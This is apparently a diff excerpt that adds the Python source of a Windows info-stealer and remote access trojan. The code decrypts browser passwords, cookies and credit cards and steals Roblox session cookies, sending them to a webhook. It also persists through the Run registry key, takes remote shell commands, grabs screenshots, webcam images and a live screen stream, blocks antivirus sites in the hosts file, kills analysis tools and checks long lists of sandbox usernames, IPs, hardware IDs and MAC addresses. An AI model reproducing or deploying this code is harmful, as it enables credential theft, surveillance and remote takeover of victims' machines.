os.path.exists(path): + continue + + self.master_key = self.get_master_key(f"{path}\\Local State") + if not self.master_key: + continue + + for profile in self.profiles: + if not os.path.exists(path + "\\" + profile): + continue + + operations = [ + self.get_login_data, + self.get_cookies, + self.get_web_history, + self.get_downloads, + self.get_credit_cards, + ] + + for operation in operations: + try: + operation(path, profile) + except Exception as e: + pass + + def get_master_key(self, path: str) -> str: + if not os.path.exists(path): + return + + if "os_crypt" not in open(path, "r", encoding="utf-8").read(): + return + + with open(path, "r", encoding="utf-8") as f: + c = f.read() + local_state = json.loads(c) + + master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) + master_key = master_key[5:] + master_key = CryptUnprotectData(master_key, None, None, None, 0)[1] + return master_key + + def decrypt_password(self, buff: bytes, master_key: bytes) -> str: + iv = buff[3:15] + payload = buff[15:] + cipher = AES.new(master_key, AES.MODE_GCM, iv) + decrypted_pass = cipher.decrypt(payload) + decrypted_pass = decrypted_pass[:-16].decode() + + return decrypted_pass + + def get_login_data(self, path: str, profile: str): + login_db = f"{path}\\{profile}\\Login Data" + if not os.path.exists(login_db): + return + + shutil.copy(login_db, "login_db") + conn = sqlite3.connect("login_db") + cursor = conn.cursor() + cursor.execute("SELECT action_url, username_value, password_value FROM logins") + for row in cursor.fetchall(): + if not row[0] or not row[1] or not row[2]: + continue + + password = self.decrypt_password(row[2], self.master_key) + __LOGINS__.append(Types.Login(row[0], row[1], password)) + + conn.close() + os.remove("login_db") + + def get_cookies(self, path: str, profile: str): + cookie_db = f"{path}\\{profile}\\Network\\Cookies" + if not os.path.exists(cookie_db): + return + + try: + shutil.copy(cookie_db, "cookie_db") + conn = sqlite3.connect("cookie_db") + cursor = conn.cursor() + cursor.execute("SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies") + for row in cursor.fetchall(): + if not row[0] or not row[1] or not row[2] or not row[3]: + continue + + cookie = self.decrypt_password(row[3], self.master_key) + __COOKIES__.append(Types.Cookie(row[0], row[1], row[2], cookie, row[4])) + + conn.close() + except Exception as e: + print(e) + + os.remove("cookie_db") + + def get_web_history(self, path: str, profile: str): + web_history_db = f"{path}\\{profile}\\History" + if not os.path.exists(web_history_db): + return + + shutil.copy(web_history_db, "web_history_db") + conn = sqlite3.connect("web_history_db") + cursor = conn.cursor() + cursor.execute("SELECT url, title, last_visit_time FROM urls") + for row in cursor.fetchall(): + if not row[0] or not row[1] or not row[2]: + continue + + __WEB_HISTORY__.append(Types.WebHistory(row[0], row[1], row[2])) + + conn.close() + os.remove("web_history_db") + + def get_downloads(self, path: str, profile: str): + downloads_db = f"{path}\\{profile}\\History" + if not os.path.exists(downloads_db): + return + + shutil.copy(downloads_db, "downloads_db") + conn = sqlite3.connect("downloads_db") + cursor = conn.cursor() + cursor.execute("SELECT tab_url, target_path FROM downloads") + for row in cursor.fetchall(): + if not row[0] or not row[1]: + continue + + __DOWNLOADS__.append(Types.Download(row[0], row[1])) + + conn.close() + os.remove("downloads_db") + + def get_credit_cards(self, path: str, profile: str): + cards_db = f"{path}\\{profile}\\Web Data" + if not os.path.exists(cards_db): + return + + shutil.copy(cards_db, "cards_db") + conn = sqlite3.connect("cards_db") + cursor = conn.cursor() + cursor.execute("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards") + for row in cursor.fetchall(): + if not row[0] or not row[1] or not row[2] or not row[3]: + continue + + card_number = self.decrypt_password(row[3], self.master_key) + __CARDS__.append(Types.CreditCard(row[0], row[1], row[2], card_number, row[4])) + + conn.close() + os.remove("cards_db") + + +class Types: + class Login: + def __init__(self, url, username, password): + self.url = url + self.username = username + self.password = password + + def __str__(self): + return f"{self.url}\t{self.username}\t{self.password}" + + def __repr__(self): + return self.__str__() + + class Cookie: + def __init__(self, host, name, path, value, expires): + self.host = host + self.name = name + self.path = path + self.value = value + self.expires = expires + + def __str__(self): + return f'{self.host}\t{"FALSE" if self.expires == 0 else "TRUE"}\t{self.path}\t{"FALSE" if self.host.startswith(".") else "TRUE"}\t{self.expires}\t{self.name}\t{self.value}' + + def __repr__(self): + return self.__str__() + + class WebHistory: + def __init__(self, url, title, timestamp): + self.url = url + self.title = title + self.timestamp = timestamp + + def __str__(self): + return f"{self.url}\t{self.title}\t{self.timestamp}" + + def __repr__(self): + return self.__str__() + + class Download: + def __init__(self, tab_url, target_path): + self.tab_url = tab_url + self.target_path = target_path + + def __str__(self): + return f"{self.tab_url}\t{self.target_path}" + + def __repr__(self): + return self.__str__() + + class CreditCard: + def __init__(self, name, month, year, number, date_modified): + self.name = name + self.month = month + self.year = year + self.number = number + self.date_modified = date_modified + + def __str__(self): + return f"{self.name}\t{self.month}\t{self.year}\t{self.number}\t{self.date_modified}" + + def __repr__(self): + return self.__str__() + + +class Startup: + def __init__(self): + self.dir_name = "rose" + self.working_dir = os.path.join(os.getenv("APPDATA"), self.dir_name) + self.exec_name = f"rose.exe" + self.full_path = os.path.join(self.working_dir, self.exec_name) + self.reg_entry = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + self.regent_name = "rose" + + self.mkdir() + self.copy_stub() + self.regedit() + + def mkdir(self): + if not os.path.isdir(self.working_dir): + os.mkdir(self.working_dir) + else: + shutil.rmtree(self.working_dir) + os.mkdir(self.working_dir) + + def copy_stub(self): + shutil.copy2(os.path.realpath(sys.executable), self.full_path) + + def regedit(self): + subprocess.run(args=f'reg delete "{self.reg_entry}" /v {self.regent_name} /f', shell=True) + subprocess.run(args=f'reg add "{self.reg_entry}" /v {self.regent_name} /t REG_SZ /d "{self.full_path}" /f', shell=True) + + +class RobloxX: + def __init__(self): + self.web = _WebhookX().get_object() + self.cc = Config() + + def UploadRobloxCookie(self, roblox_cookie): + try: + info = requests.get("https://www.roblox.com/mobileapi/userinfo", cookies={".ROBLOSECURITY": roblox_cookie}).json() + + json = {"embed": {"description": "Roblox Cookie Grabber:", "color": 13395456, "timestamp": "now", "author": {"name": self.cc.get_name(), "icon_url": self.cc.get_avatar()}, "footer": {"text": self.cc.get_footer(), "icon_url": self.cc.get_avatar()}, "fields": [{"name": "User ID:", "value": "`" + info["UserID"] + "`"}, {"name": "Username:", "value": "`" + info["UserName"] + "`"}, {"name": "Robux Balance:", "value": "`" + info["RobuxBalance"] + "`"}, {"name": "IsPremium:", "value": "`" + info["IsPremium"] + "`"}, {"name": "ROBLOSECURITY:", "value": "Roblox Cookie ```" + roblox_cookie + "```"}], "image": {"url": info["ThumbnailUrl"]}}} + + requests.self(self.web, json=json) + except: + pass + + def RobloxCookieGrabber(self): + browsers = [browser_cookie3.chrome, browser_cookie3.firefox, browser_cookie3.librewolf, browser_cookie3.opera, browser_cookie3.edge, browser_cookie3.chromium, browser_cookie3.brave, browser_cookie3.vivaldi, browser_cookie3.safari] + + for browser in browsers: + try: + cookies = browser(domain_name="roblox.com") + cookies = str(cookies) + cookie = cookies.split(".ROBLOSECURITY=")[1].split(" for .roblox.com/>")[0].strip() + self.UploadRobloxCookie(cookie) + except: + pass + + def run(self): + self.RobloxCookieGrabber() + + +sio = socketio.Client() + + +class CommandHandler: + def __init__(self): + self.webhook = _WebhookX().get_object() + self.keyboard = Controller() + + def screenshot(self): + screenshot = ImageGrab.grab() + file_name = "".join(random.choice(string.ascii_letters) for i in range(10)) + screenshot.save(f"temp_{file_name}.png") + file = File(f"temp_{file_name}.png", name="Rose-Injector Screenshot.png") + self.webhook.send(file=file) + os.remove(f"temp_{file_name}.png") + + @staticmethod + def messagebox(message): + MB_YESNO = 0x04 + MB_HELP = 0x4000 + ICON_STOP = 0x10 + ctypes.windll.user32.MessageBoxW(0, message, "Error", MB_HELP | MB_YESNO | ICON_STOP) + + def shell(self, instruction): + def _shell(): + output = subprocess.run(instruction, stdout=subprocess.PIPE, shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + return output + + try: + result = str(_shell().stdout.decode("CP437")) + except Exception as e: + result = str(f"Error | Advanced log: {e}") + + embed = Embed(description="Rose RAT", color=11495919, timestamp="now") + + embed.set_author(name=f"Shell command result | {instruction}", icon_url=cc.get_avatar()) + embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar()) + embed.add_field(name="Result", value=f"`{result}`") + + self.webhook.send(embed=embed) + + def shutdown(self): + embed = Embed(description="Rose RAT", color=11495919, timestamp="now") + + embed.set_author(name=f"Shutting down the PC", icon_url=cc.get_avatar()) + embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar()) + + self.webhook.send(embed=embed) + os.system("shutdown /s /t 1") + + def webcampic(self): + try: + cam = cv2.VideoCapture(0) + s, img = cam.read() + if s: + suc, buffer = cv2.imencode(".jpg", img) + io_buf = io.BytesIO(buffer) + file = File(io_buf, name="cam.jpg") + self.webhook.send(file=file) + + except Exception as e: + embed = Embed(description="Rose RAT", color=16399677, timestamp="now") + + embed.set_author(name=f"WebcamPIC Error", icon_url=cc.get_avatar()) + embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar()) + embed.add_field(name="Advanced log:", value=f"`{e}`") + + self.webhook.send(embed=embed) + + def volumeup(self): + for i in range(50): + self.keyboard.press(Key.media_volume_up) + self.keyboard.release(Key.media_volume_up) + + def volumedown(self): + for i in range(50): + self.keyboard.press(Key.media_volume_down) + self.keyboard.release(Key.media_volume_down) + + def voice(self, text): + self.volumeup() + engine = pyttsx3.init() + engine.setProperty("rate", 150) + engine.say(text) + engine.runAndWait() + + def uptime(self): + embed = Embed(description="Rose RAT", color=11495919, timestamp="now") + + embed.set_author(name=f"Connection Uptime", icon_url=cc.get_avatar()) + embed.add_field(name="Uptime :", value=datetime.now()) + embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar()) + + self.webhook.send(embed=embed) + + def screenshare(self): + def to_execute(self): + import socketio + import time + from zlib import compress + from mss import mss + + _sio = socketio.Client() + + WIDTH = 1900 + HEIGHT = 1000 + + @_sio.event + def connect(): + while True: + with mss() as sct: + rect = {"top": 0, "left": 0, "width": WIDTH, "height": HEIGHT} + + while True: + img = sct.grab(rect) + pixels = compress(img.rgb, 6) + + size = len(pixels) + size_len = (size.bit_length() + 7) // 8 + final_size_len = bytes([size_len]) + + size_bytes = size.to_bytes(size_len, "big") + final_size_bytes = size_bytes + + _sio.emit("sending_screenshot", {"data": {"size_len": final_size_len, "size_bytes": final_size_bytes, "pixels": pixels}}) + time.sleep(0.5) + + _sio.connect(cc.get_rose_discord_rat_link()) + + t = threading.Thread(target=to_execute, args=(self,)) + t.run() + + +cmdhandler = CommandHandler() + + +@sio.event +def connect(): + start_time = datetime.now() + sio.emit( + "rose_connect", + { + "data": { + "ip": ifx.get_ip(), + "username": ifx.get_username(), + "server": cc.get_rose_discord_rat_link(), + "webhook": cc.get_webhook(), + "avatar": cc.get_avatar(), + "footer": cc.get_footer(), + } + }, + ) + + +@sio.event +def receive_command(data): + if data["data"] == "screenshot": + cmdhandler.screenshot() + + if data["data"].startswith("messagebox") is True: + cmdhandler.messagebox(data["data"].split("messagebox", 1)[1]) + + if data["data"].startswith("shell") is True: + cmdhandler.shell(data["data"].split("shell", 1)[1]) + + if data["data"].startswith("voice") is True: + cmdhandler.voice(data["data"].split("voice", 1)[1]) + + if data["data"] == "screenshare": + cmdhandler.screenshare() + + if data["data"] == "volumemax": + cmdhandler.volumeup() + + if data["data"] == "volumezero": + cmdhandler.volumedown() + + if data["data"] == "shutdown": + cmdhandler.shutdown() + + if data["data"] == "webcampic": + cmdhandler.webcampic() + + if data["data"] == "uptime": + cmdhandler.uptime() + + +@sio.event +def disconnect(): + print("disconnect") + + +def run_rose_rat(): + sio.connect(cc.get_rose_discord_rat_link()) + sio.wait() + + +def get_drive_info(): + drive_info = [] + partitions = psutil.disk_partitions() + + for partition in partitions: + drive = {} + drive["device"] = partition.device + drive["mountpoint"] = partition.mountpoint + + try: + usage = psutil.disk_usage(partition.mountpoint) + drive["total"] = usage.total + drive["used"] = usage.used + drive_info.append(drive) + except OSError as e: + continue + + return drive_info + + +def format_drive_info(drives): + formatted_info = [] + for drive in drives: + formatted = f"Drive: {drive['device']} (Mountpoint: {drive['mountpoint']}) - " f"Total Space: {drive['total']} bytes - " f"Used Space: {drive['used']} bytes" + formatted_info.append(formatted) + return " - ".join(formatted_info) + + +username = str(os.getenv("USERNAME")) +hostname = str(os.environ["COMPUTERNAME"]) +hwid = subprocess.check_output("wmic csproduct get uuid").split(b"\n")[1].strip().decode("utf-8", errors="ignore") +wifi_interfaces = pywifi.PyWiFi().interfaces() +iface = wifi_interfaces[0] if wifi_interfaces else None +ssid, bssid = "No result", "No result" +if iface: + iface.scan() + for result in iface.scan_results(): + try: + ssid = result.ssid + bssid = result.bssid + except: + pass + # For some reason this may result in an error (https://github.com/rose-dll/Rose-Stealer/issues/167) + # pywifi/profile.py already initializes an SSID variable, so why this happens in unknown. + +lang = subprocess.check_output("wmic os get MUILanguages /format:list").decode().strip().split("\r\r\n")[0].split("=")[1] if subprocess.check_output("wmic os get MUILanguages /format:list", shell=True).decode().strip() else "No Language" +try: + system_output = subprocess.check_output("wmic os get Caption /format:list", shell=True).decode().strip() +except: + system_output = None +system = str(system_output.split("\r\r\n")[0].split("=")[1]) if system_output else "No System Information" +output = subprocess.check_output("wmic path softwarelicensingservice get OA3xOriginalProductKey", shell=True).decode().strip() +product_key = str(output.split("\n", 1)[-1].strip()) if output else "No Product Key" +ram = str(round(psutil.virtual_memory().total / (1024.0**3))) + " GB" +power = str(psutil.sensors_battery().percent) + "%" if psutil.sensors_battery() is not None else "No battery" +screen = f"{pyautogui.size()[0]}x{pyautogui.size()[1]}" +internal_ip = str(socket.gethostbyname(socket.gethostname())) +external_ip = str(requests.get("https://api.ipify.org").text) +gpus = GPUtil.getGPUs() +gpu_info = str("") +for gpu in gpus: + gpu_info += f"GPU Name: {gpu.name} - GPU Driver: {gpu.driver} - GPU Memory Total: {gpu.memoryTotal}MB - GPU Memory Free: {gpu.memoryFree}MB - GPU Memory Used: {gpu.memoryUsed}MB" +info = wmi.WMI().Win32_Processor()[0] +cpu_info = str(f"Name: {info.Name} - Arch: x{info.AddressWidth} - Cores: {info.NumberOfCores}") +current_execution_path = str(os.path.join(os.getcwd(), sys.argv[0])) +drives = get_drive_info() +drive_info_string = str(format_drive_info(drives)) +mac_address = str(":".join(["{:02X}".format((uuid.getnode() >> elements) & 0xFF) for elements in range(0, 2 * 6, 2)][::-1])) +processor_id = str(platform.processor()) +device_model = (lambda output: output.split("\n")[1].strip() if output else "No Device Model")(str(subprocess.check_output("wmic csproduct get name"), "utf-8")) +current_time_iso = datetime.now().isoformat() + + +def send_device_information(): + embed = { + "title": "Rose Report", + "description": "Rose Instance - System Information", + "color": eb_color, + "fields": [ + { + "name": "Hostname", + "value": f"`{hostname}`", + "inline": False, + }, + { + "name": "Username", + "value": f"`{username}`", + "inline": False, + }, + { + "name": "Device Model", + "value": f"`{device_model}`", + "inline": False, + }, + { + "name": "HWID", + "value": f"`{hwid}`", + "inline": False, + }, + { + "name": "SSID", + "value": f"`{ssid}`", + "inline": False, + }, + { + "name": "BSSID", + "value": f"`{bssid}`", + "inline": False, + }, + { + "name": "Language", + "value": f"`{lang}`", + "inline": False, + }, + { + "name": "System", + "value": f"`{system}`", + "inline": False, + }, + { + "name": "Product Key", + "value": f"`{product_key}`", + "inline": False, + }, + { + "name": "RAM", + "value": f"`{ram}`", + "inline": False, + }, + { + "name": "Power", + "value": f"`{power}`", + "inline": False, + }, + { + "name": "Screen", + "value": f"`{screen}`", + "inline": False, + }, + { + "name": "Internal IP", + "value": f"`{internal_ip}`", + "inline": False, + }, + { + "name": "External IP", + "value": f"`{external_ip}`", + "inline": False, + }, + { + "name": "GPU", + "value": f"`{gpu_info}`", + "inline": False, + }, + { + "name": "CPU", + "value": f"`{cpu_info}`", + "inline": False, + }, + { + "name": "Current Execution Path", + "value": f"`{current_execution_path}`", + "inline": False, + }, + { + "name": "Drives", + "value": f"`{drive_info_string}`", + "inline": False, + }, + { + "name": "MAC Address", + "value": f"`{mac_address}`", + "inline": False, + }, + { + "name": "Processor ID", + "value": f"`{processor_id}`", + "inline": False, + }, + ], + "footer": {"text": cc.get_footer(), "icon_url": cc.get_avatar()}, + "author": {"name": cc.get_name(), "icon_url": cc.get_avatar()}, + "timestamp": current_time_iso, + } + + requests.post(webhook, json={"embeds": [embed]}) + + +def block_sites(): + call = subprocess.run("REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath", shell=True, capture_output=True) + + if call.returncode != 0: + hostdirpath = os.path.join("System32", "drivers", "etc") + else: + hostdirpath = os.sep.join(call.stdout.decode(errors="ignore").strip().splitlines()[-1].split()[-1].split(os.sep)[1:]) + hostfilepath = os.path.join(os.getenv("systemroot"), hostdirpath, "hosts") + if not os.path.isfile(hostfilepath): + return + with open(hostfilepath) as file: + data = file.readlines() + + BANNED_SITES = ("virustotal.com", "avast.com", "totalav.com", "scanguard.com", "totaladblock.com", "pcprotect.com", "mcafee.com", "bitdefender.com", "us.norton.com", "avg.com", "malwarebytes.com", "pandasecurity.com", "avira.com", "norton.com", "eset.com", "zillya.com", "kaspersky.com", "usa.kaspersky.com", "sophos.com", "home.sophos.com", "adaware.com", "bullguard.com", "clamav.net", "drweb.com", "emsisoft.com", "f-secure.com", "zonealarm.com", "trendmicro.com", "ccleaner.com") + newdata = [] + for i in data: + if any([(x in i) for x in BANNED_SITES]): + continue + else: + newdata.append(i) + + for i in BANNED_SITES: + newdata.append("\t0.0.0.0 {}".format(i)) + newdata.append("\t0.0.0.0 www.{}".format(i)) + + newdata = "\n".join(newdata).replace("\n\n", "\n") + + subprocess.run("attrib -r {}".format(hostfilepath), shell=True, capture_output=True) + with open(hostfilepath, "w") as file: + file.write(newdata) + subprocess.run("attrib +r {}".format(hostfilepath), shell=True, capture_output=True) + + +def user_check(): + USERS = [ + "Admin", + "BEE7370C-8C0C-4", + "DESKTOP-NAKFFMT", + "WIN-5E07COS9ALR", + "B30F0242-1C6A-4", + "DESKTOP-VRSQLAG", + "Q9IATRKPRH", + "XC64ZB", + "DESKTOP-D019GDM", + "DESKTOP-WI8CLET", + "SERVER1", + "LISA-PC", + "JOHN-PC", + "DESKTOP-B0T93D6", + "DESKTOP-1PYKP29", + "DESKTOP-1Y2433R", + "WILEYPC", + "WORK", + "6C4E733F-C2D9-4", + "RALPHS-PC", + "DESKTOP-WG3MYJS", + "DESKTOP-7XC6GEZ", + "DESKTOP-5OV9S0O", + "QarZhrdBpj", + "ORELEEPC", + "ARCHIBALDPC", + "JULIA-PC", + "d1bnJkfVlH", + "WDAGUtilityAccount", + "Abby", + "patex", + "RDhJ0CNFevzX", + "kEecfMwgj", + "Frank", + "8Nl0ColNQ5bq", + "Lisa", + "John", + "george", + "PxmdUOpVyx", + "8VizSM", + "w0fjuOVmCcP5A", + "lmVwjj9b", + "PqONjHVwexsS", + "3u2v9m8", + "Julia", + "HEUeRzl", + "fred", + "server", + "BvJChRPnsxn", + "Harry Johnson", + "SqgFOf3G", + "Lucas", + "mike", + "PateX", + "h7dk1xPr", + "Louise", + "User01", + "test", + "RGzcBUyrznReg", + "OgJb6GqgK0O", + "joshuarob", + ] + + try: + USER = os.getlogin() + if USER in USERS: + return True + except: + pass + + +def process_check(): + PROCESSES = [ + "http toolkit.exe", + "httpdebuggerui.exe", + "wireshark.exe", + "fiddler.exe", + "charles.exe", + "regedit.exe", + "cmd.exe", + "taskmgr.exe", + "vboxservice.exe", + "df5serv.exe", + "processhacker.exe", + "vboxtray.exe", + "vmtoolsd.exe", + "vmwaretray.exe", + "ida64.exe", + "ollydbg.exe", + "pestudio.exe", + "vmwareuser", + "vgauthservice.exe", + "vmacthlp.exe", + "x96dbg.exe", + "vmsrvc.exe", + "x32dbg.exe", + "vmusrvc.exe", + "prl_cc.exe", + "prl_tools.exe", + "qemu-ga.exe", + "joeboxcontrol.exe", + "ksdumperclient.exe", + "ksdumper.exe", + "joeboxserver.exe", + "xenservice.exe", + ] + for proc in psutil.process_iter(): + if any(procstr in proc.name().lower() for procstr in PROCESSES): + try: + proc.kill() + except (psutil.NoSuchProcess, psutil.AccessDenied): + pass + + +def hwid_check(): + HWIDS = [ + "7AB5C494-39F5-4941-9163-47F54D6D5016", + "03DE0294-0480-05DE-1A06-350700080009", + "11111111-2222-3333-4444-555555555555", + "6F3CA5EC-BEC9-4A4D-8274-11168F640058", + "ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548", + "4C4C4544-0050-3710-8058-CAC04F59344A", + "00000000-0000-0000-0000-AC1F6BD04972", + "00000000-0000-0000-0000-000000000000", + "5BD24D56-789F-8468-7CDC-CAA7222CC121", + "49434D53-0200-9065-2500-65902500E439", + "49434D53-0200-9036-2500-36902500F022", + "777D84B3-88D1-451C-93E4-D235177420A7", + "49434D53-0200-9036-2500-369025000C65", + "B1112042-52E8-E25B-3655-6A4F54155DBF", + "00000000-0000-0000-0000-AC1F6BD048FE", + "EB16924B-FB6D-4FA1-8666-17B91F62FB37", + "A15A930C-8251-9645-AF63-E45AD728C20C", + "67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3", + "C7D23342-A5D4-68A1-59AC-CF40F735B363", + "63203342-0EB0-AA1A-4DF5-3FB37DBB0670", + "44B94D56-65AB-DC02-86A0-98143A7423BF", + "6608003F-ECE4-494E-B07E-1C4615D1D93C", + "D9142042-8F51-5EFF-D5F8-EE9AE3D1602A", + "49434D53-0200-9036-2500-369025003AF0", + "8B4E8278-525C-7343-B825-280AEBCD3BCB", + "4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27", + "79AF5279-16CF-4094-9758-F88A616D81B4", + "FF577B79-782E-0A4D-8568-B35A9B7EB76B", + "08C1E400-3C56-11EA-8000-3CECEF43FEDE", + "6ECEAF72-3548-476C-BD8D-73134A9182C8", + "49434D53-0200-9036-2500-369025003865", + "119602E8-92F9-BD4B-8979-DA682276D385", + "12204D56-28C0-AB03-51B7-44A8B7525250", + "63FA3342-31C7-4E8E-8089-DAFF6CE5E967", + "365B4000-3B25-11EA-8000-3CECEF44010C", + "D8C30328-1B06-4611-8E3C-E433F4F9794E", + "00000000-0000-0000-0000-50E5493391EF", + "00000000-0000-0000-0000-AC1F6BD04D98", + "4CB82042-BA8F-1748-C941-363C391CA7F3", + "B6464A2B-92C7-4B95-A2D0-E5410081B812", + "BB233342-2E01-718F-D4A1-E7F69D026428", + "9921DE3A-5C1A-DF11-9078-563412000026", + "CC5B3F62-2A04-4D2E-A46C-AA41B7050712", + "00000000-0000-0000-0000-AC1F6BD04986", + "C249957A-AA08-4B21-933F-9271BEC63C85", + "BE784D56-81F5-2C8D-9D4B-5AB56F05D86E", + "ACA69200-3C4C-11EA-8000-3CECEF4401AA", + "3F284CA4-8BDF-489B-A273-41B44D668F6D", + "BB64E044-87BA-C847-BC0A-C797D1A16A50", + "2E6FB594-9D55-4424-8E74-CE25A25E36B0", + "42A82042-3F13-512F-5E3D-6BF4FFFD8518", + "38AB3342-66B0-7175-0B23-F390B3728B78", + "48941AE9-D52F-11DF-BBDA-503734826431", + "A7721742-BE24-8A1C-B859-D7F8251A83D3", + "3F3C58D1-B4F2-4019-B2A2-2A500E96AF2E", + "D2DC3342-396C-6737-A8F6-0C6673C1DE08", + "EADD1742-4807-00A0-F92E-CCD933E9D8C1", + "AF1B2042-4B90-0000-A4E4-632A1C8C7EB1", + "FE455D1A-BE27-4BA4-96C8-967A6D3A9661", + "921E2042-70D3-F9F1-8CBD-B398A21F89C6", + "6AA13342-49AB-DC46-4F28-D7BDDCE6BE32", + "F68B2042-E3A7-2ADA-ADBC-A6274307A317", + "07AF2042-392C-229F-8491-455123CC85FB", + "4EDF3342-E7A2-5776-4AE5-57531F471D56", + "032E02B4-0499-05C3-0806-3C0700080009", + "11111111-2222-3333-4444-555555555555", + ] + + try: + HWID = subprocess.check_output(r"wmic csproduct get uuid", creationflags=0x08000000).decode().split("\n")[1].strip() + + if HWID in HWIDS: + return True + except Exception: + pass + + +def ip_check(): + try: + IPS = [ + "None", + "88.132.231.71", + "78.139.8.50", + "20.99.160.173", + "88.153.199.169", + "84.147.62.12", + "194.154.78.160", + "92.211.109.160", + "195.74.76.222", + "188.105.91.116", + "34.105.183.68", + "92.211.55.199", + "79.104.209.33", + "95.25.204.90", + "34.145.89.174", + "109.74.154.90", + "109.145.173.169", + "34.141.146.114", + "212.119.227.151", + "195.239.51.59", + "192.40.57.234", + "64.124.12.162", + "34.142.74.220", + "188.105.91.173", + "109.74.154.91", + "34.105.72.241", + "109.74.154.92", + "213.33.142.50", + "109.74.154.91", + "93.216.75.209", + "192.87.28.103", + "88.132.226.203", + "195.181.175.105", + "88.132.225.100", + "92.211.192.144", + "34.83.46.130", + "188.105.91.143", + "34.85.243.241", + "34.141.245.25", + "178.239.165.70", + "84.147.54.113", + "193.128.114.45", + "95.25.81.24", + "92.211.52.62", + "88.132.227.238", + "35.199.6.13", + "80.211.0.97", + "34.85.253.170", + "23.128.248.46", + "35.229.69.227", + "34.138.96.23", + "192.211.110.74", + "35.237.47.12", + "87.166.50.213", + "34.253.248.228", + "212.119.227.167", + "193.225.193.201", + "34.145.195.58", + "34.105.0.27", + "195.239.51.3", + "35.192.93.107", + "213.33.190.22", + "194.154.78.152", + "20.114.22.115", + ] + IP = requests.get("https://api.myip.com").json()["ip"] + + if IP in IPS: + return True + except: + pass + + +def registry_check(): + reg1 = os.system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2> nul") + reg2 = os.system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2> nul") + if reg1 != 1 and reg2 != 1: + return True + handle = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum") + try: + reg_val = winreg.QueryValueEx(handle, "0")[0] + if ("VMware" or "VBOX") in reg_val: + return True + finally: + winreg.CloseKey(handle) + + +def dll_check(): + vmware_dll = os.path.join(os.environ["SystemRoot"], "System32\\vmGuestLib.dll") + virtualbox_dll = os.path.join(os.environ["SystemRoot"], "vboxmrxnp.dll") + if os.path.exists(vmware_dll): + return True + if os.path.exists(virtualbox_dll): + return True + + +def specs_check(): + try: + RAM = str(psutil.virtual_memory()[0] / 1024**3).split(".")[0] + DISK = str(psutil.disk_usage("/")[0] / 1024**3).split(".")[0] + if int(RAM) <= 2: + return True + if int(DISK) <= 50: + return True + if int(psutil.cpu_count()) <= 1: + return True + except: + pass + + +def proc_check(): + processes = ["VMwareService.exe", "VMwareTray.exe"] + for proc in psutil.process_iter(): + for program in processes: + if proc.name() == program: + return True + + +def mac_check(): + try: + MACS = [ + "05:17:5D:75:D5:54", + "00:03:47:63:8b:de", + "00:0c:29:05:d8:6e", + "00:0c:29:2c:c1:21", + "00:0c:29:52:52:50", + "00:0d:3a:d2:4f:1f", + "00:15:5d:00:00:1d", + "00:15:5d:00:00:a4", + "00:15:5d:00:00:b3", + "00:15:5d:00:00:c3", + "00:15:5d:00:00:f3", + "00:15:5d:00:01:81", + "00:15:5d:00:02:26", + "00:15:5d:00:05:8d", + "00:15:5d:00:05:d5", + "00:15:5d:00:06:43", + "00:15:5d:00:07:34", + "00:15:5d:00:1a:b9", + "00:15:5d:00:1c:9a", + "00:15:5d:13:66:ca", + "00:15:5d:13:6d:0c", + "00:15:5d:1e:01:c8", + "00:15:5d:23:4c:a3", + "00:15:5d:23:4c:ad", + "00:15:5d:b6:e0:cc", + "00:1b:21:13:15:20", + "00:1b:21:13:21:26", + "00:1b:21:13:26:44", + "00:1b:21:13:32:20", + "00:1b:21:13:32:51", + "00:1b:21:13:33:55", + "00:23:cd:ff:94:f0", + "00:25:90:36:65:0c", + "00:25:90:36:65:38", + "00:25:90:36:f0:3b", + "00:25:90:65:39:e4", + "00:50:56:97:a1:f8", + "00:50:56:97:ec:f2", + "00:50:56:97:f6:c8", + "00:50:56:a0:06:8d", + "00:50:56:a0:38:06", + "00:50:56:a0:39:18", + "00:50:56:a0:45:03", + "00:50:56:a0:59:10", + "00:50:56:a0:61:aa", + "00:50:56:a0:6d:86", + "00:50:56:a0:84:88", + "00:50:56:a0:af:75", + "00:50:56:a0:cd:a8", + "00:50:56:a0:d0:fa", + "00:50:56:a0:d7:38", + "00:50:56:a0:dd:00", + "00:50:56:ae:5d:ea", + "00:50:56:ae:6f:54", + "00:50:56:ae:b2:b0", + "00:50:56:ae:e5:d5", + "00:50:56:b3:05:b4", + "00:50:56:b3:09:9e", + "00:50:56:b3:14:59", + "00:50:56:b3:21:29", + "00:50:56:b3:38:68", + "00:50:56:b3:38:88", + "00:50:56:b3:3b:a6", + "00:50:56:b3:42:33", + "00:50:56:b3:4c:bf", + "00:50:56:b3:50:de", + "00:50:56:b3:91:c8", + "00:50:56:b3:94:cb", + "00:50:56:b3:9e:9e", + "00:50:56:b3:a9:36", + "00:50:56:b3:d0:a7", + "00:50:56:b3:dd:03", + "00:50:56:b3:ea:ee", + "00:50:56:b3:ee:e1", + "00:50:56:b3:f6:57", + "00:50:56:b3:fa:23", + "00:e0:4c:42:c7:cb", + "00:e0:4c:44:76:54", + "00:e0:4c:46:cf:01", + "00:e0:4c:4b:4a:40", + "00:e0:4c:56:42:97", + "00:e0:4c:7b:7b:86", + "00:e0:4c:94:1f:20", + "00:e0:4c:b3:5a:2a", + "00:e0:4c:b8:7a:58", + "00:e0:4c:cb:62:08", + "00:e0:4c:d6:86:77", + "06:75:91:59:3e:02", + "08:00:27:3a:28:73", + 